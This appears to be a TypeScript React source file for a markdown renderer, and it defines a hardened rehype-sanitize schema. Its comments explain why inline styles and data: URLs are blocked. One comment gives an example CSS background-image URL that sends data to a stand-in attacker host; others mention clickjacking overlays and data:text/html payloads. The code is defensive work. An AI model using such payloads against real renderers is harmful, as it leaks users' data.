File size: 6,514 Bytes
9b906ea | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 | import Markdown, { Components } from "react-markdown";
import remarkGfm from "remark-gfm";
import remarkBreaks from "remark-breaks";
import rehypeRaw from "rehype-raw";
import rehypeSanitize, { defaultSchema } from "rehype-sanitize";
import type { Schema } from "hast-util-sanitize";
import type { PluggableList } from "unified";
import { code } from "./code";
import { ul, ol, li } from "./list";
import { paragraph } from "./paragraph";
import { anchor } from "./anchor";
import { h1, h2, h3, h4, h5, h6 } from "./headings";
import { table, th, td } from "./table";
import { blockquote } from "./blockquote";
import { hr } from "./horizontal-rule";
import { remarkGithubAlerts } from "./remark-github-alerts";
// Build a sanitize schema that extends rehype-sanitize's defaults with a
// few markdown-friendly additions. The defaults strip `<script>`, event
// handlers, `javascript:` URLs, and most dangerous attributes; we layer
// on:
// - class / id on common block + inline elements (so authored HTML
// keeps its hooks for styling in rich previews),
// - `<img>` (kept disabled in defaults), with safe src schemes only,
// - `<details>` / `<summary>` for collapsible sections,
// - `target` / `rel` on anchors so external links keep working.
//
// We deliberately do NOT allow `style` — `rehype-sanitize` cannot parse
// CSS, so allowing `style` would let an authored doc smuggle in
// `background-image: url("https://attacker.example/exfil?…")` (data
// exfiltration), `position: fixed; top: 0; …` (clickjacking overlays),
// or vendor-specific quirks like `expression(…)` on old browsers.
// If we ever need inline styling we should plug in a CSS-property
// sanitizer at that point, not before.
//
// We also deliberately do NOT allow the `data:` protocol — that scheme
// covers arbitrary mime types, not just images, so `<img src="data:text/html,…">`
// would round-trip an HTML document with no schema validation. Inline
// base64 images are a thin convenience we don't actually need in our
// preview, and the cost of allowing them is too high.
// Exported for direct schema tests. End-to-end MarkdownRenderer tests
// can't reach every sanitize concern because our custom `anchor`
// component always hard-codes `target="_blank" rel="noopener noreferrer"`
// — meaning a buggy schema (e.g. one that strips `rel` from HAST) would
// still produce a safe-looking `<a>` in the final DOM. Direct schema
// tests close that gap.
export const MARKDOWN_SANITIZE_SCHEMA: Schema = {
...defaultSchema,
attributes: {
...defaultSchema.attributes,
"*": [...(defaultSchema.attributes?.["*"] ?? []), "className", "id"],
// `["rel", "noopener", "noreferrer", "nofollow"]` (rehype-sanitize's
// "[attrName, ...allowed-values]" form) requires `rel` to be EXACTLY
// one of those tokens — it would strip the standard, space-separated
// `rel="noopener noreferrer"` and reintroduce a reverse-tabnabbing
// vector on `target="_blank"` links. None of the `rel` keywords
// execute code or navigate, so allowing any rel value is safe.
a: ["href", "title", "target", "rel"],
img: [
...(defaultSchema.attributes?.img ?? []),
"src",
"alt",
"title",
"width",
"height",
"loading",
],
},
tagNames: [
...(defaultSchema.tagNames ?? []),
"img",
"details",
"summary",
"figure",
"figcaption",
"mark",
"kbd",
"sub",
"sup",
],
protocols: {
...defaultSchema.protocols,
src: ["http", "https"],
href: ["http", "https", "mailto", "tel"],
},
};
interface MarkdownRendererProps {
/**
* The markdown content to render. Can be passed as children (string) or content prop.
*/
children?: string;
content?: string;
/**
* Additional or override components for markdown elements.
* Default components (code, ul, ol) are always included unless overridden.
*/
components?: Partial<Components>;
/**
* Whether to include standard components (anchor, paragraph).
* Defaults to false.
*/
includeStandard?: boolean;
/**
* Whether to include heading components (h1-h6).
* Defaults to false.
*/
includeHeadings?: boolean;
/**
* Whether to parse and render inline HTML embedded in the markdown
* source. When `true`, raw HTML is parsed via `rehype-raw` and then
* sanitized via `rehype-sanitize` with a schema that strips scripts,
* event handlers, and dangerous URL schemes. Defaults to `true` — the
* sanitizer makes this safe by construction, and most markdown
* authoring relies on at least some inline HTML (badges, details
* blocks, anchor targets, etc.).
*/
allowHtml?: boolean;
}
/**
* A reusable Markdown renderer component that provides consistent
* markdown rendering across the application.
*
* By default, includes:
* - code, ul, ol components
* - remarkGfm and remarkBreaks plugins
*
* Can be extended with:
* - includeStandard: adds anchor and paragraph components
* - includeHeadings: adds h1-h6 heading components
* - components prop: allows custom overrides or additional components
*/
export function MarkdownRenderer({
children,
content,
components: customComponents,
includeStandard = false,
includeHeadings = false,
allowHtml = true,
}: MarkdownRendererProps) {
// Build the components object with defaults and optional additions
const components: Components = {
code,
ul,
ol,
li,
hr,
table,
th,
td,
blockquote,
...(includeStandard && {
a: anchor,
p: paragraph,
}),
...(includeHeadings && {
h1,
h2,
h3,
h4,
h5,
h6,
}),
...customComponents, // Custom components override defaults
};
const markdownContent = content ?? children ?? "";
// `rehype-raw` parses raw HTML embedded in the markdown into the rehype
// tree. `rehype-sanitize` then strips anything dangerous (scripts,
// event handlers, `javascript:` URLs, etc.). The order matters: sanitize
// must run *after* raw so it sees the parsed HTML nodes.
const rehypePlugins: PluggableList | undefined = allowHtml
? [rehypeRaw, [rehypeSanitize, MARKDOWN_SANITIZE_SCHEMA]]
: undefined;
return (
<div data-testid="markdown-renderer">
<Markdown
components={components}
remarkPlugins={[remarkGithubAlerts, remarkGfm, remarkBreaks]}
rehypePlugins={rehypePlugins}
>
{markdownContent}
</Markdown>
</div>
);
}
|